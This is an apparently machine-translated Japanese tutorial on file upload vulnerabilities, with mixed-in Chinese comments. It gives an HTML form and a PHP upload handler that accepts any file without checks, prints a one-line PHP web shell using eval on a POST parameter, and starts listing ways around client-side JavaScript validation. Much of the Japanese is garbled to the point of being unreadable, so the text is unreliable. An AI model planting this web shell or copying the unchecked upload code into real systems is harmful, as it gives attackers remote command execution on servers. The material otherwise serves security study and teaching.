0x00の脆弱性プロファイル
ファイルアップロードの脆弱性は、実行可能なスクリプトファイルをアップロードするユーザーを参照し、このスクリプトファイルを使用して、サーバー側のコマンドを実行する能力を得ること。この攻撃は問題は、扱うファイルを解釈する方法をサーバー、ファイルがアップロードされていることで、最も直接的かつ効果的な、「ファイルのアップロード」自体は問題ありませんです。サーバーは、十分なセキュリティをしていないのロジックを処理した場合、それは深刻な結果につながります。
0x01の脆弱性条件
ファイルがアップロードできる
ファイルのアップロードへのパスを知るために
アクセスすることができ、アップロードファイルを
アップロードされたファイルを実行することができます
0x02の採掘のアイデア
アップロード点は、アップロードするすべてのコール同じクラス、直接グローバル検索機能をアップロードする
コードを配置し、アップロードのポイントを見つけるために、ブラックボックスを。
0x03のは、アップロードを書きます
レッツは、フロントエンドのアップロードを書きます
<html>
<head>
<meta charset="UTF-8">
<title>upload.html</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" name="上传文件">
<!--<input type="hidden" name="MAX_FILE_SIZE" name="4098">//设置文件上传大小,一般在php.ini里面设置-->
</form>
</body>
</html>
PHPのアップロードを書きます
<?php
$upload_dir = "D:\PHPSTUDY2018\PHPTutorial\WWW\upload";
if(isset($_FILES['file'])){
$upload_name = $upload_dir . "\\" . $_FILES['file'];
move_uploaded_file($_FILES['file']['tmp_name'],$upload_name);
echo "Type:" . $_FILES['file']['type']. "<br >";
echo "Size:" . ($_FILES['file']['size'] / 1024) . "<br >";
echo "Name:" . $_FILES['file']['name'];//这三行是我们看一下上传效果。
}else{
echo"上传失败";
}
単文を書きます
<?php
@eval($_POST['777'])
?>
アップロード:
参照は正常にアップロード
アリは、ライン上の剣の接続を取る後は
、これが最も簡単で最も単純な例の一つであり、自分だけが白い箱の向きを変えることから始めましょう。ゆっくりと蓄積
ファイルアップロードバイパス0×04
1:クライアントは、JSバイパス検出器によって検出さ
検出原理
クライアントはjavascriptのコードをユーザーが送信した法的文書を検出するかどうか
のバイパス方法に
- あなたが合法的に満たすためにタイプをアップロードするので、ファイルの種類をアップロードすることが許さ追加
それがアップロードされたファイルの種類の検出を行うことができないように2、その迂回するよう、JS検証スクリプトへの呼び出しを削除 - 同じ要素の見直しを通じて、フォームのフォームの内容を表示、開始タグの形式は、